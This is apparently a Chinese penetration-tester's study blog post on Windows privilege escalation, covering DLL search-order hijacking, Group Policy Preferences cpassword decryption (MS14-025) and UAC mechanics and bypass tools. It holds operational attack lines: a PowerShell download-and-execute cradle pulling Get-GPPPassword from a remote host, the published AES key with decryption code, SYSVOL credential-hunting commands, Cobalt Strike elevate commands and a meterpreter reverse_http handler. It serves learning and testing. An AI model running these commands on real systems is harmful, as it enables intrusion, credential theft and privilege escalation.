介紹了這麼多,終于了解了DLL的搜尋順序,對我們有什麼意義呢?前面加載順序藍色部分可以了解安全的(預設情況下使用者對這些目錄沒有寫入的權限),最容易權限配置錯誤是程式所在目錄和PATH變量中的目錄,如果使用者對這些權限擁有寫入的權限,例如在程式所在目錄寫入一個惡意的DLL,那麼DLL就能成功的擷取程式的特權。
如何攻擊
Windows的預設安裝不容易受到DLL 劫持,标準搜尋政策中都配置了适當的權限,那麼這種技術還有什麼用?
在特權檔案操作濫用(例如:任意檔案寫入)時非常有用,假設你發現了一個服務,該服務允許你寫入任意檔案并且以
NT AUTHORITY SYSTEM
權限到檔案系統上的任何位置,配置DLL劫持就可以完成
NT AUTHORITY SYSTEM
的任意代碼執行。
任意檔案寫入為DLL 劫持提供了新的攻擊面,不僅限于
%PTAH%
目錄,還可以考慮劫持應用程式目錄中的DLL,或者直接在
C:\WINDOWS\System32
中也可以,然後使用DLL Sideloading(DLL 旁路) 和Phantom DLL Hijacking(DLL劫持)。
這裡出現了兩個新的名詞,我分别解釋下:
DLL Sideloading :直譯為DLL側面加載攻擊,利用WinSXS 目錄,詳細的請看fireeye的這篇報告。并且UACme項目中第18中方法就是靠這種方法bypass UAC的。
Phantom DLL Hijacking:直譯為幻影DLL劫持,使用非常老的DLL,但應用程式任然試圖加載,在搜尋路徑中給出對應的DLL,就會執行惡意新的惡意代碼。
整篇描述的内容是DLL hijacking,DLL劫持隻是一個核心的概念, 側重的是利用搜尋順序劫持,如果不了解上面兩個也沒關系,筆者也不懂。
這裡舉個DLL 旁路的例子:
因為
Windows Management Instrumentation
服務啟動類型是自動,這裡停止之後自動啟動,在
ProcessMonitor的Filter配置為Process Name 為
wmiprvse.exe
:
可以看到首先嘗試在
C:\Windows\System32\wbem
尋找
wbemcomn.dll
,結果為
Name Not FOUND
,因為
wmiprvse.exe
所在的目錄就是
C:\Windows\System32\wbem
,盡管
wbemcomn.dll
是個系統庫。
如果你發現任意檔案寫入漏洞,可以在
C:\WINDOWS\System32\wbem
植入
wbemcomn.dll
的惡意版本,在機器重新開機後,服務将以
NT AUTHORITY\SYSTEM
身份加載DLL,雖然實戰過程中不推薦這樣做,主要有兩個原因:
- 需要重新啟動:重新開機很可能導緻目前的權限斷掉
- 服務啟動失敗:即使成功的寫入DLL到目标檔案中,服務以
身份加載DLL,但是服務成功啟動了嗎?沒有,因為它無法加載DLL,可以編寫一個代理DLL(原文翻譯就這樣),但是這明顯會增加開發工作量。NT AUTHORITY\SYSTEM
Windows的預設安裝有很多類似的供給面,盡管DLL劫持十分普遍,考慮到上面所說的兩個原因,找到适合漏洞利用的點卻很難,這就是 DiagHub technique類的漏洞利用非常有趣的原因,現在修補這種技術,但當時解決了這兩個問題:
- 它可以由普通使用者通過RPC觸發,甚至可以選擇要加載的DLL的名稱,隻要他在
檔案夾中,它将有服務加載。System32
- 可以安全的執行自己的代碼,不用擔心服務崩潰。
-
無需編寫DLLMain()。
這裡說下什麼是DLL Main(),DLL的入口函數,注意DLL不一定有DLLMain函數。
微軟最後通過強制執行代碼簽名來阻止了這種利用。這種技巧隻能加載微軟簽名的庫。
這裡作者提到了另外一種技術。
測試的角度看劫持DLL
測試過程中,得到一個穩定的shell之後,我們應該做的第一件事尋找系統配置錯誤,使用0day和最近公開的特權提升漏洞通常是最後的選擇。
第三方應用程式引入漏洞的原因通常使沒有正确安裝:
一個比較常見的錯誤:第三方應用安裝在主分區(
C:\
)的根目錄上,或安裝在單獨的分區(例如
D:\
)上。
比如這樣,前面在介紹弱服務權限我也提過,主要這兩行:
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
意味所有經過身份驗證的使用者對該檔案擁有從父容器繼承(
I
)的修改權限(
M
),子目錄繼承(
I
、
OI
、
CI
、
IO
)父目錄的修改權限(
M
)。
筆者的描述可能不正确,錯誤請指出。
如果管理者沒有對其檢查,則該應用程式的檔案夾容易收到攻擊,以下使兩種常見的情況:
- 安裝程式建立了一個服務,該服務以
運作并從該目錄執行程式。這種情況下,可以使用DLL 旁路,在應用程式的檔案加植入該服務使用的DLLNT AUTHORITY\SYSTEM
- 安裝程式将應用程式的目錄添加到系統的
%PATH%
最常見的第二種情況,那麼需要什麼條件?需要一個高權限的程序,該程序試圖從不安全的檔案加加載DLL。這種情況很容易在Windows服務上出現。
更為理想的目标是怎樣的?可以概括3個條件:
- 常見加載不存在的DLL,不指定完整的路徑。
- 沒有使用安全DLL搜尋模式
- 它以
,主要為了友善讨論,不是嚴格要求的。NT AUTHORITY\SYSTEM
在Windows 10上,符合這些條件的服務幾乎消失了,但是仍然能夠找到。例如
schedule
服務:
本來該有個圖,筆者無法複現。簡單描述下,該服務試圖從 C:\ MyCustomApp
加載此 DLL
注意:服務加載DLL之後,不會被釋放,無法删除該檔案。或者擷取
System shell
之後就停止服務(需要
system
權限),删除檔案。
如何防禦?
如何完成DLL 劫持?前面已經反複說到,DLL劫持隻是一個技術而不是漏洞,我們需要的實際上“弱檔案夾權限”或“特權檔案操作濫用”漏洞。
這裡翻譯很懵,這裡我寫的是個人的了解,建議看原文。
- 弱檔案夾權限:檔案夾權限配置錯誤,低權限使用者可更改
- 特權檔案操作濫用:以高權限運作的程序可通路使用者控制的是以檔案或目錄,舉個例子,權限不足寫入某個檔案夾,但是目前使用者可調用高權限程序程序寫入檔案夾
上面介紹調用DLL函數的時候僅介紹了
LoadLibrary
,沒有介紹
LoadLibraryEx
:
HMODULE LoadLibraryEx(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags);#需要關注的是dwFlags 标志,這裡列舉影響關注的幾個标志位#LOAD_LIBRARY_SEARCH_APPLICATION_DIR 如果使用此值,則在應用程式的安裝目錄中搜尋DLL及其依賴項。不搜尋标準搜尋路徑中的目錄。#LOAD_LIBRARY_SEARCH_SYSTEM32 如果使用此值,則在%windows%\ system32中搜尋DLL及其依賴項。不搜尋标準搜尋路徑中的目錄。#LOAD_LIBRARY_SEARCH_USER_DIRS 如果使用此值,則在使用AddDllDirectory或 SetDllDirectory函數添加的目錄 中搜尋DLL及其依賴項。如果添加了多個目錄,則未指定搜尋目錄的順序。不搜尋标準搜尋路徑中的目錄
複制
可能這樣描述沒有什麼感覺,這裡提一個DLL劫持的漏洞案例:“ikeext dll hijacking”
IKEEXT(IKE and AuthIP IPsec Keying Modules)服務在啟動時會加載wlbsctrl.dll,但Windows系統預設配置下該dll不存在,如果我們将自己的dll放在這個位置,在服務啟動時就能加載該dll——《Lateral Movement — SCM and DLL Hijacking Primer》的利用擴充
但是這個問題在Windows 8.1 開始就不存在了,如何修複的:
圖來自——Windows DLL Hijacking
将
LoadLibrary
變成了
LoadLibraryEx
,并且附加标志位
LOAD_LIBRARY_SEARCH_SYSTEM32
,将搜尋順序限制在
%windows%\ system32
,進而修複了漏洞。
這篇文章對我有用的部分我就暫且記錄到這裡,以上世我從原文了解到的一些内容,如有不對,請留言指出。
示範的案例
這裡我使用ProcessMonitor來發現适合的目标,這裡有有一些工具可以快速發現适合DLL hijack的工具:
- Robber
-
Rattler
這個已經很久沒更新了
- DLL Hijack Auditor
這裡分享下常用的幾個使用ProcessMonitor中Filter的設定,Result、Process Name 、PID、Path、User
我直接用@Wing部落格中的案例示範,筆者測試會出現各種各樣的問題,例如無法定位動态庫連結等等……。
利用的是Microsoft .NET Framework 4.6.1的安裝程式,使用Cobalt Strike 生成一個CRYPTSP.dll,放在安裝包所在的目錄下,執行安裝包,可看到機器上線:
後話
DLL Hijacking學習過程中主要了解了DLL 的搜尋順序以及影響搜尋順序的點,更多的操作則需要一些代碼功底,很抱歉,筆者這方面不會。
還有一些技術沒有提到,比如DLLInjector,Powersploit提供了
Invoke-DllInjection
,上面所介紹的 DLL Hijcking,也提供了
Find-ProcessDLLHijack
、
Find-PathDLLHijack
、
Write-HijackDll
j進行查找,和寫入DLL
Com Hijacking
參考:
Component Object Model Hijacking
Persistence – COM Hijacking
Use COM Object hijacking to maintain persistence——Hijack explorer.exe
T1122: COM Hijacking
COM Hijacking Techniques - Derbycon 2019
COM Hijacking Techniques
這裡搜集了下資料,留待未來再研究,研究不動了,有興趣的請看上述參考連結。
組政策提權
參考:
MS14-025:組政策首選項中的漏洞可能允許特權提升:2014年5月13日
Microsoft Security Bulletin MS14-025 - Important
域滲透] - 從SYSVOL中擷取密碼
域滲透——利用SYSVOL還原組政策中儲存的密碼
先說下如何複現,在域控的組政策管理
gpmc.msc
(我這裡用的預設政策)中設定一條添加使用者群組的政策:
域成員機器上更新組政策,并且使用
Get-GPPPassword
子產品擷取組政策中的密碼:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.128/Powershell/PowerSploit/Exfiltration/Get-GPP
複制
接下來都是廢話了
由于組政策中還有其他政策中有添加使用者的政策,這裡也發現了其他政策中的賬号和密碼,該漏洞的微軟漏洞編号為MS14-025,CVE編号為CVE-2014-1812,更新檔編号KB2928120。
以下組政策首選項均受此漏洞影響:
- 驅動器映射
- 本地使用者群組
- 計劃任務
- 服務
- 資料源
- ……
這項首選項中含有對應的登入憑證
簡單說下組政策的一些資訊:
組政策容器位于LDAP資料庫
CN=Policies,CN=System,DC=0day,DC=org
,節點以GUID命名,這裡展示下預設組政策條目的屬性:
可以注意到其中
gPCFileSysPath
屬性的值是
\\0day.org\sysvol\0day.org\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
,該屬性說明了組政策模闆(GPT)所在的具體路徑,即實體路徑:
該檔案夾的權限如下
我示範的是另一個檔案夾,不過權限都類似
很容易注意到
NT AUTHORITY\Authenticated Users
使用者擁有讀取并執行通路的權限,且下面的子目錄将繼承通用讀取和通用執行(
(OI)(CI)(IO)(GR,GE)
))
解讀可能不對,懂得師傅請指教。
Macheine目錄中包含政策中的計算機配置,User目錄中包含政策中的使用者配置,前面提到的使用者名和密碼加密存儲在xml的cpassword字段中:
密碼字段使用的是AES256加密,但是微軟公布了32位元組的密鑰:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
複制
這裡直接使用PowerSploit的的
Get-DecryptedCpassword
展示下解密邏輯。
$Mod = ($Cpassword.length % 4) switch ($Mod) { '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} '2' {$Cpassword += ('=' * (4 - $Mod))} '3' {$Cpassword += ('=' * (4 - $Mod))} } $Base64Decoded = [Convert]::FromBase64String($Cpassword) # Make sure System.Core is loaded [System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) #Set IV to all nulls to prevent dynamic generation of IV value $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
複制
注意這裡顯示的是本地組政策緩存,域控通過SMB協定下發,使用 gpupdate /force
可重建緩存
另外一些技巧
where.exe /R \\0day.org\sysvol *.xmlfindstr /S /I cpassword \\0day.org\sysvol\0day.org\policies\*.xmlwhere.exe /R \\FQDN\sysvol *.xmlfindstr /S /I cpassword \\FQDN\sysvol\0day.org\policies\*.xml
複制
- 安裝KB2962486之後,密碼将不會儲存在組政策首選項中,但是以前帶有密碼的組政策首選項檔案不會從SYSVOL删除
- 可能得到的密碼沒有任何價值,唯一的價值是加入字典檔案中。
更多的組政策利用:
- 組政策權限委派濫用
- 組政策即時任務權限維持
- ……,後續在補充吧
Bypass UAC
同樣是一個寫起來非常深入的話題,筆者自覺隻能淺顯的介紹該特性和使用工具。
參考:
使用者帳戶控制工作原理
Windows 中的 UAC 使用者賬戶控制
User Account Control – What Penetration Testers Should Know
Offense and Defense – A Tale of Two Sides: Bypass UAC
Windows Integrity Mechanism Design
BypassUAC隻是最後的效果,這個過程涉及了幾個概念,
UAC
、
Access Tokens
、
Privileges
、
Integrity Levels
,請務必了解這些概念。
UAC是什麼?
不同系統上的UAC上有一些微小差異,以下以Win10為準。
UAC(User Account Control,使用者賬号控制)是微軟在Windows Vista和Windows Server 2008 中引入的一種控制機制。具體的效果使用者在執行可能會影響計算機運作的操作或執行更改影響其他使用者的設定的操作之前,要求提供權限或管理者密碼。
在了解UAC的機制前,先了解一些概念。
Integrity levels
參考:Mandatory Integrity Control
UAC使用強制完整性控制來隔離具有不同特權的運作程序:
Mandatory Integrity Control (MIC)又是什麼?
MIC使用完整性級别和強制性政策來評估通路。安全主體和安全對象被配置設定了完整性級别,這些完整性級别确定它們的保護或通路級别。例如,具有低完整性級别的主體無法寫入具有中等完整性級别的對象,即使該對象的DACL允許對該主體進行寫通路。
Windwos定義了四個完整性級别:low、medium、 high、system。
其實有5個。
- Mandatory Label\Low Mandatory Level(S-1-16-4096):不對應任何一個使用者組,為特殊保護的應用程式準備的,如Internet Explorer使用low級别運作程序,是以它無法修改系統級别的對象。
- Mandatory Label\Medium Mandatory Level(S-1-16-8192):對應Users組擁有的最高權限
- Mandatory Label\High Mandatory Level(S-1-16-12288):對應Administrator組擁有的最高權限
- Mandatory Label\System Mandatory Level(S-1-16-16384):對應System使用者擁有的最高權限
在SDDL (Security Descriptor Definition Language,安全描述符定義語言),完整性級别定義為sid字元串,SDDL定義了ConvertSecurityDescriptorToStringSecurityDescriptor和ConvertStringSecurityDescriptorToSecurityDescriptor函數用來描述安全描述符為文本字元串的字元串格式。
參考:Windows Integrity Mechanism Resources
Windows Vista在安全通路令牌中使用完整性級别SID來表示主體完整性級别,在安全描述符中的強制标簽ACE中使用完整性級别SID來表示對象完整性級别。
參考:Appendix A: SDDL for Mandatory Labels
注:完整性等級不僅存在于 Processes 中,各種安全對象都有 Integrity levels,比如資源上也有,一個檔案也可以有。在通路資源時,會将程序的通路令牌和資源的通路控制清單進行比較,已确認該程序是否具有通路該資源的權限,完整性級别低的程序無法寫入完整性級别高的資源對象。
筆者這裡展示下不同的完整性等級(Integrity levels)的程序:
可能大家有一個這樣的經曆,某程式在執行過程中要求啟用彈出UAC要求使用管理者權限,同意之後獲得高權限,但實際上,此時操作的應用程序完整性等級為,UAC之前應用完整性等級為
high
,本質上是以管理權限重新開啟了應用程式,而不是在原有應用上提升權限,不是同一個程序了。
medium
可以看到不同的權限下對應不同的Integrity levels sid。
上面提到了通路令牌(access token),這裡也解釋下access token
Access Tokens
這段描述其實就是MSDN的描述,字面意思。
參考:Security Identifiers
通路令牌是Windows作業系統用于描述程序或線程安全上下文的一種對象,令牌中的資訊包括程序或線程關聯的使用者賬戶的表示和特權,系統通過将使用者密碼存儲在安全資料庫中的資訊比較驗證使用者密碼。如果密碼經過驗證,系統将生成一個通路令牌。代表這個使用者執行的每個程序都由這個令牌的一個副本。
當線程與安全對象互動或試圖執行需要特權的系統任務時,系統使用通路令牌來辨別使用者。通路令牌包含以下資訊:
- 使用者賬戶的安全辨別符(sid)
- 使用者所屬的組SID
- 辨別目前登入會話(logon session )的登入SID(login SID)
- 所有者SID
- 主要組的SID
- 通路控制清單(ACL,不指定安全描述符時使用預設的DACL)
- 通路令牌的來源
- 令牌是主令牌( primary )還是模拟令牌( impersonation)
- 限制SID的可選清單
- 目前的模拟等級(impersonation levels)
- 其他統計資料
注:代表完整性級别的sid包含在組SID中
UAC在登入過程中的作用
還是那句話,筆者描述可能不正确,務必以MSDN為準。
參考:使用者帳号控制
當使用者登入到計算機時,系統會為該使用者建立通路令牌。通路令牌包含有關授予使用者通路級别的資訊,包括特定的安全辨別符(SID)和Windows特權。
管理者登入後,将為使用者建立兩個單獨的通路令牌:标準使用者通路令牌和管理者通路令牌。标準使用者通路令牌包含與管理者通路令牌相同的特定于使用者的資訊,但是已删除管理Windows特權和SID。标準使用者通路令牌用于啟動不執行管理任務的應用程式(标準使用者應用程式)。然後,使用标準的使用者通路令牌來顯示桌面(Explorer.exe)。Explorer.exe是父程序,所有其他使用者啟動的程序都将從該父程序繼承其通路令牌。結果,除非使用者提供同意或憑據來準許應用程式使用完整的管理通路令牌,否則所有應用程式均以标準使用者身份運作。——How User Account Control Works
筆者在MSDN中找到了另一種描述,不過是Windows Vista上的描述
管理者登入時,将為使用者授予兩個通路令牌:完整的管理者通路令牌和“過濾”的标準使用者通路令牌。
——了解和配置Windows Vista中的使用者帳戶控制
啟用AAM後,管理者将同時收到完整通路令牌和第二個通路令牌,稱為已過濾通路令牌——User Account Control
總之,意思就是這麼個意思,就算你是管理者,在預設情況下,登入之後得到的還是标準使用者的權限(Medium、中等完整性)。為了執行管理任務,都必須經過UAC認證,或者輸入正确的憑據,經過UAC認證或輸入憑據之後,才會配置設定完整的管理者通路後令牌。
這裡補兩張圖,一張是微軟官方的,一張是@sh1yan畫的圖,結合圖了解以下概念:
注意Low、High、Medium完整性等級是如何來的
UAC提升權限的行為
預設情況下,如果使用者嘗試提升權限,則會提示是否同意:
這裡我直接使用微軟的官方圖
如果是标準使用者嘗試提升權限,則會提示輸入管理者憑據:
應用程式是否要需要UAC通知
參考:
User Account Control Group Policy and registry key settings
Windows 的 UAC 設定中的通知等級實際上隻有兩個檔而已
深入了解 Windows 7 使用者帳戶控制
最初UAC在Windows Vista上出現的時候隻有兩個設定:
- 始終通知:安裝軟體和更改我的計算機或更改了Windows設定通知我(啟用UAC)
- 從不通知:安裝軟體和更改我的計算機或更改了Windows設定不要通知我(禁用UAC)
字面意思,始終通知就是需要管理權限時都通知使用者,而從不通知則禁用了UAC。
但是Windows自帶的Windows設定大部分都需要管理權限,這就會遇到一個問題——通知過多。
為了解決這個問題,Windows 7 引入了兩個設定之間的緩沖帶,本質上UAC将自帶的一些程式加入白名單(筆者個人了解),即Windows允許一部分可執行檔案經過UAC經過提權。
Windows 如何驗證這些程式?數字證書
在Windows 10 上的通知等級如下:
- 高(始終通知)
- 中等(預設,将檢查”使用者帳戶控制: 僅提升已簽名和驗證的可執行檔案“政策設定,若開啟,則使用PKI證書驗證,然後才允許,若禁用,不進行PKI證書驗證,檢查”使用者帳戶控制: 提示提升時切換到安全桌面“政策設定)
- 低
- 從不通知(此設定等同于組政策設定”使用者帳戶控制: 在管理審批模式下管理者的提升提示行為“設定為“無提示提升”)
可能你注意到我描述了通知等級有點變化,從最開始的從不通知等同于禁用UAC,到最新版從不通知等同組政策裡的設定,但是這裡沒有提到UAC是否關閉,答案是沒有。
從Windows server 2012 UAC 開始,新設定将:
- 保持UAC服務運作
- 管理者啟動的提權請求自動獲得準許
- 自動拒絕标準使用者的所有提權請求
如果想徹底禁用UAC,請禁用政策”使用者帳戶控制: 在管理準許模式下運作所有管理者。”
請了解這幾種設定僅僅時配置了是否通知使用者,舉個例子,如果在Windows 10上配置從不通知,使用管理者使用者執行需要管理特權将不會看到UAC提示框,應用程式直接獲得管理權限,但是,如果執行使用者是标準使用者,任然會看到UAC提示框要求輸入管理者憑據(标準使用者的提權行為取決于下一小節的的組政策設定)
影響UAC提示的行為的政策
在組政策中有UAC的相關配置選項,這裡關注幾個設定:
-
使用者帳戶控制:管理者準許模式政策設定中的管理者的提升提示行為。
參考:User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
字面意思,該設定決定了标準使用者是否可以通過UAC獲得管理者權限。
-
使用者賬戶控制:管理者準許模式下管理者的提升提示行為
參考:User Account Control: Behavior of the elevation prompt for standard users
其實這個設定和上一個也類似,不過上一個是标準使用者的行為,這個是管理者使用者的行為,這麼說可能還是有點不了解,比如目前使用者是管理者,如果該設定為提示憑據,執行一個需要提升權限的程式,那麼會提示讓你輸入管理者憑據,你可以會奇怪這不是很正常嗎?但是預設設定下是”非 Windows 二進制檔案的同意提示“,給出的彈框是允許或拒絕,而不是輸入管理者憑據。
-
使用者帳戶控制: 以管理者準許模式運作所有管理者
參考:User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
該設定決定了是否開啟UAC,若禁用,則管理者組類賬号直接擷取管理者權限,無需經過UAC提示框。
更多的政策設定請參考這篇文章。
如何構造能夠觸發UAC的程式?
參考:應用程式清單 Manifest 中各種 UAC 權限級别的含義和效果
在知道這個問題的答案之前需要思考程式觸發UAC的必要條件是什麼?首先系統是如何知道應用程式需要提升權限?答案是應用程式清單(Manifests),應用程式通過應用程式清單主動告訴系統需要提示權限。
應用程式清單是一個 XML 檔案,它描述并辨別了應用程式在運作時應綁定到的共享和私有并列元件。(機翻的,大緻意思懂就行)
如果應用程式時安裝程式則時另外一回事了。
在應用程式清單中可以聲明程式的執行級别,用來獲得應用程式所需要的特權,有3種設定(雖然沒有該設定也是一種設定):
- asInvoker(跟随父程序,預設使用者啟動的父程序都是explorer.exe,而在UAC開啟下,獲得的都是标準使用者權限,即預設打開獲得的一般都是标準使用者權限)
- highestAvailable(以其最高的權限運作,如果目前使用者是标準使用者,則獲得的是标準使用者權限,如果目前使用者是管理者使用者,出現盾牌圖示,出現UAC提示框提權)
- requireAdministrator(以管理者權限運作,調用的使用者必須是Administrator組成員,如果不是,将提示輸入憑據)
也就是說隻要編譯程式時修改應用程式清單檔案的
level
為”requireAdministrator” ,就能確定觸發UAC:
這裡是個C#項目,如果想複現的請添加C#相關元件,在建立項使用應用程式清單模闆即可。
C/C++項目中請在屬性頁——連結器——清單檔案中配置相關選項。
最後生成的應用程式帶有盾牌标志:
如果shellcode使用這種方式編譯……
事實上應用程式的清單檔案也是可以轉儲的,使用sigcheck.exe 即可。
雖然我前面提到Windows UAC 中有着白名單機制(可自動提升權限),但是這個機制是什麼?
參考:深入了解 Windows 7 使用者帳戶控制
- 可執行檔案帶有 Windows Publisher 的數字簽名
- 可執行檔案位于“安全“的目錄(标準使用者無法修改的目錄)
- 視可執行檔案對象而定,還有一些附加規則,我這裡隻關注exe(mmc.exe 和COM對象暫且不表),清單檔案中需指定”autoElevate “屬性
這幾個條件非常關鍵,它是為什麼能夠bypass UAC的原因。
sigcheck -m %systemroot%\system32\taskmgr.exe | findstr /i autoelevatestrings –s *.exe | findstr /i autoelevate #或使用strings工具發現這種程式
複制
參考:Sigcheck
這裡還有很多能夠自動提升的規則,限于筆者能力,建議閱讀參考連結原文,詳細的規則請在編碼中體會。
注意:這幾個條件是 and 的關系,任何一個條件不滿足,都無法自動提升權限
Bypass UAC
筆者花了很多事件試圖了解Windows從使用者的登入過程中的UAC,到管理使用者被降級,到為何程式能夠觸發UAC,我希望各位了解管理者使用者是入俄在啟用UAC之後如何擷取
High
完整性的(包含在access tokens中)。
需要明确的是,什麼情況下需要Bypass UAC?
- 目前使用者是管理組成員:離開這個談bypass UAC都是空談。
- 啟用UAC:也是一句廢話,如果禁用UAC(确切的說是禁用管理者準許模式),管理者組成員直接擷取管理者權限,都不用bypass ,标準使用者則提示憑據
注:核心提權等漏洞筆者認為不屬于bypass UAC
怎麼才能Bypass UAC?我的答案是白名單機制。Bypass UAC的技巧衆多,但大多數都是筆者認為本質上是白名單的利用,限于筆者自身認識,前面未列出自動提升權限的程式規則(exe、mmc.exe、com對象),如果有師傅能夠仔細閱讀這些規則,利用權限配置錯誤等漏洞(例如 弱服務權限、弱檔案夾權限、DLL Hijacking、COM Hijacking等等)就能夠成功bypass UAC。
這裡給出一些參考連結:
@三好學生:
- Use CLR to bypass UAC
- Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC)
- Study Notes of using sdclt.exe to bypass UAC
- Study Notes of using SilentCleanup to bypass UAC
- A dirty way of tricking users to bypass UAC
- Empire中的Invoke-WScriptBypassUAC利用分析
- 通過COM元件IARPUninstallStringLauncher繞過UAC
以下是與Bypass UAC有關的一些項目:
-
UACME
裡面含有62種方法,當然一些方法在新版上已經失效了
- DccwBypassUAC
- WinPwnage
- UAC_Bypass_In_The_Wild
仔細閱讀這些項目,相信你會有所收獲。簡單示範下UACME的效果:
測試過程中請自行修改代碼,請務必精簡代碼,以求一擊緻命。
Cobalt Strike 和meterpreter 中Bypass UAC
參考:Cobalt Strike 中Bypass UAC
新版4.0中已經僅有一個
uac-token-duplication
進行bypass-uac,筆者測試的目标機器為Win10 1809,已經無法bypass UAC,隻能傳回一個相同權限的beacon,你可以當成程序遷移(笑)。
筆者找到了一個腳本,發現其中還有部分能夠成功bypass的:
elevate uac-fodhelper HTTPelevate uac-silentcleanup HTTP
複制
下圖是使用的示範:
為了測試meterpreter 種的bypassuac子產品,這裡我spawn 了一個beacon到meterpreter(即流量轉發)。
建立
foreign/reverse_http
listener,端口
8080
handler -H 10.10.10.128 -P 8080 -p windows/meterpreter/reverse_http -x
複制
beacon> spawn foreign_HTTP #beacon中操作,圖形化菜單也有#如果一切正常,能夠看到session 回彈 |
---|
metasploitt提供了10種
bypassuac
的子產品:
Win10 1809 上無一攻破,這裡示範下
RunAs
來進行bypaass UAC:
其實都不能叫做bypass UAC,需要目标主動點選允許提升,這種方法看上去就不靠譜,直接在目标上彈出一個UAC提升提示框,如果目标環境有殺軟,更加困難,隻能配置檔案名和路徑增加可信度。
某些情況比較好用,比如前面說的關閉了組政策的UAC準許模式,管理者組内使用者直接過UAC
小結
有點虎頭蛇尾的感覺,bypass UAC部分還能夠聊很多,包括更多的細節,例如通過計劃任務,白名單程式等等,無奈筆者自身認識不足。
後續的一些思路,希望将UACME的移植到CS或者MSF。
擷取Net-NTLM-Hash
先開坑,我想把Net-NTLM-Hash和Kerberos等相關聯系起來,至此,這一章筆者暫告一段落。
作者部落格:https://wuhash.com